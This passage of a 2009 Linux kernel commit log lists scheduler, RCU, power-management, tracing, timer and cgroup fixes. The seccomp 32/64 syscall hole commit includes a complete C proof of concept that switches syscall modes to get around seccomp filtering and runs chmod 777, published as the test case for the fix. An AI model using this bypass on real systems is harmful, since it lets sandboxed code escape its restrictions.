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* Merge branch 'sched-fixes-for-linus' of ↵Linus Torvalds2009-03-03
|\ | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: sched: don't allow setuid to succeed if the user does not have rt bandwidth sched_rt: don't start timer when rt bandwidth disabled
| * sched: don't allow setuid to succeed if the user does not have rt bandwidthDhaval Giani2009-02-27
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix hung task with certain (non-default) rt-limit settings Corey Hickey reported that on using setuid to change the uid of a rt process, the process would be unkillable and not be running. This is because there was no rt runtime for that user group. Add in a check to see if a user can attach an rt task to its task group. On failure, return EINVAL, which is also returned in CONFIG_CGROUP_SCHED. Reported-by: Corey Hickey <bugfood-ml@fatooh.org> Signed-off-by: Dhaval Giani <dhaval@linux.vnet.ibm.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * sched_rt: don't start timer when rt bandwidth disabledHiroshi Shimamoto2009-02-26
| | | | | | | | | | | | | | | | | | | | | | Impact: fix incorrect condition check No need to start rt bandwidth timer when rt bandwidth is disabled. If this timer starts, it may stop at sched_rt_period_timer() on the first time. Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com> Acked-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | Merge branch 'core-fixes-for-linus' of ↵Linus Torvalds2009-03-03
|\ \ | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: rcu: Teach RCU that idle task is not quiscent state at boot
| * | rcu: Teach RCU that idle task is not quiscent state at bootPaul E. McKenney2009-02-25
| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch fixes a bug located by Vegard Nossum with the aid of kmemcheck, updated based on review comments from Nick Piggin, Ingo Molnar, and Andrew Morton. And cleans up the variable-name and function-name language. ;-) The boot CPU runs in the context of its idle thread during boot-up. During this time, idle_cpu(0) will always return nonzero, which will fool Classic and Hierarchical RCU into deciding that a large chunk of the boot-up sequence is a big long quiescent state. This in turn causes RCU to prematurely end grace periods during this time. This patch changes the rcutree.c and rcuclassic.c rcu_check_callbacks() function to ignore the idle task as a quiescent state until the system has started up the scheduler in rest_init(), introducing a new non-API function rcu_idle_now_means_idle() to inform RCU of this transition. RCU maintains an internal rcu_idle_cpu_truthful variable to track this state, which is then used by rcu_check_callback() to determine if it should believe idle_cpu(). Because this patch has the effect of disallowing RCU grace periods during long stretches of the boot-up sequence, this patch also introduces Josh Triplett's UP-only optimization that makes synchronize_rcu() be a no-op if num_online_cpus() returns 1. This allows boot-time code that calls synchronize_rcu() to proceed normally. Note, however, that RCU callbacks registered by call_rcu() will likely queue up until later in the boot sequence. Although rcuclassic and rcutree can also use this same optimization after boot completes, rcupreempt must restrict its use of this optimization to the portion of the boot sequence before the scheduler starts up, given that an rcupreempt RCU read-side critical section may be preeempted. In addition, this patch takes Nick Piggin's suggestion to make the system_state global variable be __read_mostly. Changes since v4: o Changes the name of the introduced function and variable to be less emotional. ;-) Changes since v3: o WARN_ON(nr_context_switches() > 0) to verify that RCU switches out of boot-time mode before the first context switch, as suggested by Nick Piggin. Changes since v2: o Created rcu_blocking_is_gp() internal-to-RCU API that determines whether a call to synchronize_rcu() is itself a grace period. o The definition of rcu_blocking_is_gp() for rcuclassic and rcutree checks to see if but a single CPU is online. o The definition of rcu_blocking_is_gp() for rcupreempt checks to see both if but a single CPU is online and if the system is still in early boot. This allows rcupreempt to again work correctly if running on a single CPU after booting is complete. o Added check to rcupreempt's synchronize_sched() for there being but one online CPU. Tested all three variants both SMP and !SMP, booted fine, passed a short rcutorture test on both x86 and Power. Located-by: Vegard Nossum <vegard.nossum@gmail.com> Tested-by: Vegard Nossum <vegard.nossum@gmail.com> Tested-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | x86-64: seccomp: fix 32/64 syscall holeRoland McGrath2009-03-02
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | Fix recursive lock in free_uid()/free_user_ns()David Howells2009-02-27
|/ | | | | | | | | | | | | | free_uid() and free_user_ns() are corecursive when CONFIG_USER_SCHED=n, but free_user_ns() is called from free_uid() by way of uid_hash_remove(), which requires uidhash_lock to be held. free_user_ns() then calls free_uid() to complete the destruction. Fix this by deferring the destruction of the user_namespace. Signed-off-by: David Howells <dhowells@redhat.com> Acked-by: Serge Hallyn <serue@us.ibm.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* PM: Split up sysdev_[suspend|resume] from device_power_[down|up]Rafael J. Wysocki2009-02-22
| | | | | | | | | | | Move the sysdev_suspend/resume from the callee to the callers, with no real change in semantics, so that we can rework the disabling of interrupts during suspend/hibernation. This is based on an earlier patch from Linus. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* Merge branch 'hibernate'Linus Torvalds2009-02-21
|\ | | | | | | | | | | | | | | | | | | | | | | | | * hibernate: PM: Fix suspend_console and resume_console to use only one semaphore PM: Wait for console in resume PM: Fix pm_notifiers during user mode hibernation swsusp: clean up shrink_all_zones() swsusp: dont fiddle with swappiness PM: fix build for CONFIG_PM unset PM/hibernate: fix "swap breaks after hibernation failures" PM/resume: wait for device probing to finish Consolidate driver_probe_done() loops into one place
| * PM: Fix suspend_console and resume_console to use only one semaphoreArve Hjønnevåg2009-02-21
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This fixes a race where a thread acquires the console while the console is suspended, and the console is resumed before this thread releases it. In this case, the secondary console semaphore would be left locked, and the primary semaphore would be released twice. This in turn would cause the console switch on suspend or resume to hang forever. Note that suspend_console does not actually lock the console for clients that use acquire_console_sem, it only locks it for clients that use try_acquire_console_sem. If we change suspend_console to fully lock the console, then the kernel may deadlock on suspend. One client of try_acquire_console_sem is acquire_console_semaphore_for_printk, which uses it to prevent printk from using the console while it is suspended. Signed-off-by: Arve Hjønnevåg <arve@android.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * PM: Wait for console in resumeArve Hjønnevåg2009-02-21
| | | | | | | | | | | | | | | | | | | | | | | | Avoids later waking up to a blinking cursor if the device woke up and returned to sleep before the console switch happened. Signed-off-by: Brian Swetland <swetland@google.com> Signed-off-by: Arve Hjønnevåg <arve@android.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * PM: Fix pm_notifiers during user mode hibernationAndrey Borzenkov2009-02-21
| | | | | | | | | | | | | | | | | | | | | | | | | | Snapshot device is opened with O_RDONLY during suspend and O_WRONLY durig resume. Make sure we also call notifiers with correct parameter telling them what we are really doing. Signed-off-by: Andrey Borzenkov <arvidjaar@mail.ru> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Acked-by: Pavel Machek <pavel@ucw.cz> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * PM: fix build for CONFIG_PM unsetRafael J. Wysocki2009-02-21
| | | | | | | | | | | | | | | | | | | | | | | | Compilation of kprobes.c with CONFIG_PM unset is broken due to some broken config dependncies. Fix that. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Reported-by: Ingo Molnar <mingo@elte.hu> Tested-by: Masami Hiramatsu <mhiramat@redhat.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * PM/resume: wait for device probing to finishArjan van de Ven2009-02-21
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | the resume code does not currently wait for device probing to finish. Even without async function calls this is dicey and not correct, but with async function calls during the boot sequence this is going to get hit more... This patch adds the synchronization using the newly introduced helper. Signed-off-by: Arjan van de Ven <arjan@linux.intel.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Acked-by: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | Merge branch 'tracing-fixes-for-linus' of ↵Linus Torvalds2009-02-19
|\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: tracing: limit the number of loops the ring buffer self test can make tracing: have function trace select kallsyms tracing: disable tracing while testing ring buffer tracing/function-graph-tracer: trace the idle tasks
| * | tracing: limit the number of loops the ring buffer self test can makeSteven Rostedt2009-02-18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: prevent deadlock if ring buffer gets corrupted This patch adds a paranoid check to make sure the ring buffer consumer does not go into an infinite loop. Since the ring buffer has been set to read only, the consumer should not loop for more than the ring buffer size. A check is added to make sure the consumer does not loop more than the ring buffer size. Signed-off-by: Steven Rostedt <srostedt@redhat.com>
| * | tracing: have function trace select kallsymsSteven Rostedt2009-02-18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix output of function tracer to be useful The function tracer is pretty useless if KALLSYMS is not configured. Unless you are good at reading hex values, the function tracer should select the KALLSYMS configuration. Also, the dynamic function tracer will fail its self test if KALLSYMS is not selected. Signed-off-by: Steven Rostedt <srostedt@redhat.com>
| * | tracing: disable tracing while testing ring bufferSteven Rostedt2009-02-18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix to prevent hard lockup on self tests If one of the tracers are broken and is constantly filling the ring buffer while the test of the ring buffer is running, it will hang the box. The reason is that the test is a consumer that will not stop till the ring buffer is empty. But if the tracer is broken and is constantly producing input to the buffer, this test will never end. The result is a lockup of the box. This happened when KALLSYMS was not defined and the dynamic ftrace test constantly filled the ring buffer, because the filter failed and all functions were being traced. Something was being called that constantly filled the buffer. Signed-off-by: Steven Rostedt <srostedt@redhat.com>
| * | tracing/function-graph-tracer: trace the idle tasksFrederic Weisbecker2009-02-17
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | When the function graph tracer is activated, it iterates over the task_list to allocate a stack to store the return addresses. But the per cpu idle tasks are not iterated by using do_each_thread / while_each_thread. So we have to iterate on them manually. This fixes somes weirdness in the traces and many losses of traces. Examples on two cpus: 0) Xorg-4287 | 2.906 us | } 0) Xorg-4287 | 3.965 us | } 0) Xorg-4287 | 5.302 us | } ------------------------------------------ 0) Xorg-4287 => <idle>-0 ------------------------------------------ 0) <idle>-0 | 2.861 us | } 0) <idle>-0 | 0.526 us | set_normalized_timespec(); 0) <idle>-0 | 7.201 us | } 0) <idle>-0 | 8.214 us | } 0) <idle>-0 | | clockevents_program_event() { 0) <idle>-0 | | lapic_next_event() { 0) <idle>-0 | 0.510 us | native_apic_mem_write(); 0) <idle>-0 | 1.546 us | } 0) <idle>-0 | 2.583 us | } 0) <idle>-0 | + 12.435 us | } 0) <idle>-0 | + 13.470 us | } 0) <idle>-0 | 0.608 us | _spin_unlock_irqrestore(); 0) <idle>-0 | + 23.270 us | } 0) <idle>-0 | + 24.336 us | } 0) <idle>-0 | + 25.417 us | } 0) <idle>-0 | 0.593 us | _spin_unlock(); 0) <idle>-0 | + 41.869 us | } 0) <idle>-0 | + 42.906 us | } 0) <idle>-0 | + 95.035 us | } 0) <idle>-0 | 0.540 us | menu_reflect(); 0) <idle>-0 | ! 100.404 us | } 0) <idle>-0 | 0.564 us | mce_idle_callback(); 0) <idle>-0 | | enter_idle() { 0) <idle>-0 | 0.526 us | mce_idle_callback(); 0) <idle>-0 | 1.757 us | } 0) <idle>-0 | | cpuidle_idle_call() { 0) <idle>-0 | | menu_select() { 0) <idle>-0 | 0.525 us | pm_qos_requirement(); 0) <idle>-0 | 0.518 us | tick_nohz_get_sleep_length(); 0) <idle>-0 | 2.621 us | } [...] 1) <idle>-0 | 0.518 us | touch_softlockup_watchdog(); 1) <idle>-0 | + 14.355 us | } 1) <idle>-0 | + 22.840 us | } 1) <idle>-0 | + 25.949 us | } 1) <idle>-0 | | handle_irq() { 1) <idle>-0 | 0.511 us | irq_to_desc(); 1) <idle>-0 | | handle_edge_irq() { 1) <idle>-0 | 0.638 us | _spin_lock(); 1) <idle>-0 | | ack_apic_edge() { 1) <idle>-0 | 0.510 us | irq_to_desc(); 1) <idle>-0 | | move_native_irq() { 1) <idle>-0 | 0.510 us | irq_to_desc(); 1) <idle>-0 | 1.532 us | } 1) <idle>-0 | 0.511 us | native_apic_mem_write(); ------------------------------------------ 1) <idle>-0 => cat-5073 ------------------------------------------ 1) cat-5073 | 3.731 us | } 1) cat-5073 | | run_local_timers() { 1) cat-5073 | 0.533 us | hrtimer_run_queues(); 1) cat-5073 | | raise_softirq() { 1) cat-5073 | | __raise_softirq_irqoff() { 1) cat-5073 | | /* nr: 1 */ 1) cat-5073 | 2.718 us | } 1) cat-5073 | 3.814 us | } Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com> Cc: Steven Rostedt <rostedt@goodmis.org> Cc: Arnaldo Carvalho de Melo <acme@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | Merge branch 'for-linus' of git://git.kernel.dk/linux-2.6-blockLinus Torvalds2009-02-18
|\ \ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | * 'for-linus' of git://git.kernel.dk/linux-2.6-block: block: fix deadlock in blk_abort_queue() for drivers that readd to timeout list block: fix booting from partitioned md array block: revert part of 18ce3751ccd488c78d3827e9f6bf54e6322676fb cciss: PCI power management reset for kexec paride/pg.c: xs(): &&/|| confusion fs/bio: bio_alloc_bioset: pass right object ptr to mempool_free block: fix bad definition of BIO_RW_SYNC bsg: Fix sense buffer bug in SG_IO
| * | | block: fix bad definition of BIO_RW_SYNCJens Axboe2009-02-18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | We can't OR shift values, so get rid of BIO_RW_SYNC and use BIO_RW_SYNCIO and BIO_RW_UNPLUG explicitly. This brings back the behaviour from before 213d9417fec62ef4c3675621b9364a667954d4dd. Signed-off-by: Jens Axboe <jens.axboe@oracle.com>
* | | | pm: fix build for CONFIG_PM unsetRafael J. Wysocki2009-02-18
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Compilation of kprobes.c with CONFIG_PM unset is broken due to some broken config dependncies. Fix that. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Reported-by: Ingo Molnar <mingo@elte.hu> Tested-by: Masami Hiramatsu <mhiramat@redhat.com> Cc: Len Brown <lenb@kernel.org> Acked-by: Pavel Machek <pavel@suse.cz> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | | | cgroups: fix possible use after freeLi Zefan2009-02-18
|/ / / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | In cgroup_kill_sb(), root is freed before sb is detached from the list, so another sget() may find this sb and call cgroup_test_super(), which will access the root that has been freed. Reported-by: Al Viro <viro@ZenIV.linux.org.uk> Signed-off-by: Li Zefan <lizf@cn.fujitsu.com> Acked-by: Paul Menage <menage@google.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | | Merge branch 'sched-fixes-for-linus' of ↵Linus Torvalds2009-02-17
|\ \ \ | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: sched: cpu hotplug fix
| * | | sched: cpu hotplug fixIngo Molnar2009-02-12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | rq_attach_root() does a kfree() with the runqueue lock held. That's not a very wise move, fix it. Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | | Merge branch 'timers-fixes-for-linus' of ↵Linus Torvalds2009-02-17
|\ \ \ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'timers-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: timers: more consistently use clock vs timer
| * | | | timers: more consistently use clock vs timerPeter Zijlstra2009-02-13
| |/ / / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | While reviewing the manpages, I noticed I'd missed some clock vs timer sites. Make sure that all timer functions call cpu_timer_sample_group() and not cpu_clock_sample_group(). This ensures that we enable the process wide timer in time, and therefore pay the O(n) thread group cost from the syscall. Not doing it here, will result in the first jiffy tick after setting the timer doing this, resulting in a very expensive tick (but only once) and a delay in actually starting the timer. Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | | Merge branch 'tracing-fixes-for-linus' of ↵Linus Torvalds2009-02-17
|\ \ \ \ | | |/ / | |/| | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: doc: mmiotrace.txt, buffer size control change trace: mmiotrace to the tracer menu in Kconfig mmiotrace: count events lost due to not recording
| * | | trace: mmiotrace to the tracer menu in KconfigPekka Paalanen2009-02-15
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: cosmetic change in Kconfig menu layout This patch was originally suggested by Peter Zijlstra, but seems it was forgotten. CONFIG_MMIOTRACE and CONFIG_MMIOTRACE_TEST were selectable directly under the Kernel hacking / debugging menu in the kernel configuration system. They were present only for x86 and x86_64. Other tracers that use the ftrace tracing framework are in their own sub-menu. This patch moves the mmiotrace configuration options there. Since the Kconfig file, where the tracer menu is, is not architecture specific, HAVE_MMIOTRACE_SUPPORT is introduced and provided only by x86/x86_64. CONFIG_MMIOTRACE now depends on it. Signed-off-by: Pekka Paalanen <pq@iki.fi> Signed-off-by: Steven Rostedt <srostedt@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | | mmiotrace: count events lost due to not recordingPekka Paalanen2009-02-15
| | |/ | |/| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: enhances lost events counting in mmiotrace The tracing framework, or the ring buffer facility it uses, has a switch to stop recording data. When recording is off, the trace events will be lost. The framework does not count these, so mmiotrace has to count them itself. Signed-off-by: Pekka Paalanen <pq@iki.fi> Signed-off-by: Steven Rostedt <srostedt@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | Merge branch 'core-fixes-for-linus' of ↵Linus Torvalds2009-02-17
|\ \ \ | |/ / |/| | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'core-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: iommu: fix Intel IOMMU write-buffer flushing futex: fix reference leak Trivial conflicts fixed manually in drivers/pci/intel-iommu.c
| * | futex: fix reference leakPeter Zijlstra2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Catalin noticed that (38d47c1b7075: futex: rely on get_user_pages() for shared futexes) caused an mm_struct leak. Some tracing with the function graph tracer quickly pointed out that futex_wait() has exit paths with unbalanced reference counts. This regression was discovered by kmemleak. Reported-by: Catalin Marinas <catalin.marinas@arm.com> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Tested-by: "Pallipadi, Venkatesh" <venkatesh.pallipadi@intel.com> Tested-by: Catalin Marinas <catalin.marinas@arm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | User namespaces: Only put the userns when we unhash the uidSerge E. Hallyn2009-02-13
| |/ |/| | | | | | | | | | | | | | | | | | | | | | | | | | | | | uids in namespaces other than init don't get a sysfs entry. For those in the init namespace, while we're waiting to remove the sysfs entry for the uid the uid is still hashed, and alloc_uid() may re-grab that uid without getting a new reference to the user_ns, which we've already put in free_user before scheduling remove_user_sysfs_dir(). Reported-and-tested-by: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com> Signed-off-by: Serge E. Hallyn <serue@us.ibm.com> Acked-by: David Howells <dhowells@redhat.com> Tested-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | cgroups: fix lockdep subclasses overflowLi Zefan2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | I enabled all cgroup subsystems when compiling kernel, and then: # mount -t cgroup -o net_cls xxx /mnt # mkdir /mnt/0 This showed up immediately: BUG: MAX_LOCKDEP_SUBCLASSES too low! turning off the locking correctness validator. It's caused by the cgroup hierarchy lock: for (i = 0; i < CGROUP_SUBSYS_COUNT; i++) { struct cgroup_subsys *ss = subsys[i]; if (ss->root == root) mutex_lock_nested(&ss->hierarchy_mutex, i); } Now we have 9 cgroup subsystems, and the above 'i' for net_cls is 8, but MAX_LOCKDEP_SUBCLASSES is 8. This patch uses different lockdep keys for different subsystems. Signed-off-by: Li Zefan <lizf@cn.fujitsu.com> Acked-by: Paul Menage <menage@google.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | mm: fix dirty_bytes/dirty_background_bytes sysctls on 64bit archesSven Wegener2009-02-11
|/ | | | | | | | | | | | | | | | | We need to pass an unsigned long as the minimum, because it gets casted to an unsigned long in the sysctl handler. If we pass an int, we'll access four more bytes on 64bit arches, resulting in a random minimum value. [rientjes@google.com: fix type of `old_bytes'] Signed-off-by: Sven Wegener <sven.wegener@stealer.net> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Dave Chinner <david@fromorbit.com> Cc: Christoph Lameter <cl@linux-foundation.org> Cc: David Rientjes <rientjes@google.com> Signed-off-by: David Rientjes <rientjes@google.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* Merge branch 'sched-fixes-for-linus' of ↵Linus Torvalds2009-02-11
|\ | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'sched-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: sched: revert recent sync wakeup changes
| * sched: revert recent sync wakeup changesPeter Zijlstra2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Intel reported a 10% regression (mysql+sysbench) on a 16-way machine with these patches: 1596e29: sched: symmetric sync vs avg_overlap d942fb6: sched: fix sync wakeups Revert them. Reported-by: "Zhang, Yanmin" <yanmin_zhang@linux.intel.com> Bisected-by: Lin Ming <ming.m.lin@intel.com> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | Merge branch 'timers-fixes-for-linus' of ↵Linus Torvalds2009-02-11
|\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'timers-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: timers: fix TIMER_ABSTIME for process wide cpu timers timers: split process wide cpu clocks/timers, fix x86: clean up hpet timer reinit timers: split process wide cpu clocks/timers, remove spurious warning timers: split process wide cpu clocks/timers signal: re-add dead task accumulation stats. x86: fix hpet timer reinit for x86_64 sched: fix nohz load balancer on cpu offline
| * | timers: fix TIMER_ABSTIME for process wide cpu timersPeter Zijlstra2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | The POSIX timer interface allows for absolute time expiry values through the TIMER_ABSTIME flag, therefore we have to synchronize the timer to the clock every time we start it. Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | timers: split process wide cpu clocks/timers, fixPeter Zijlstra2009-02-11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | To decrease the chance of a missed enable, always enable the timer when we sample it, we'll always disable it when we find that there are no active timers in the jiffy tick. This fixes a flood of warnings reported by Mike Galbraith. Reported-by: Mike Galbraith <efault@gmx.de> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | timers: split process wide cpu clocks/timersPeter Zijlstra2009-02-05
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Change the process wide cpu timers/clocks so that we: 1) don't mess up the kernel with too many threads, 2) don't have a per-cpu allocation for each process, 3) have no impact when not used. In order to accomplish this we're going to split it into two parts: - clocks; which can take all the time they want since they run from user context -- ie. sys_clock_gettime(CLOCK_PROCESS_CPUTIME_ID) - timers; which need constant time sampling but since they're explicity used, the user can pay the overhead. The clock readout will go back to a full sum of the thread group, while the timers will run of a global 'clock' that only runs when needed, so only programs that make use of the facility pay the price. Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Reviewed-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | signal: re-add dead task accumulation stats.Peter Zijlstra2009-02-05
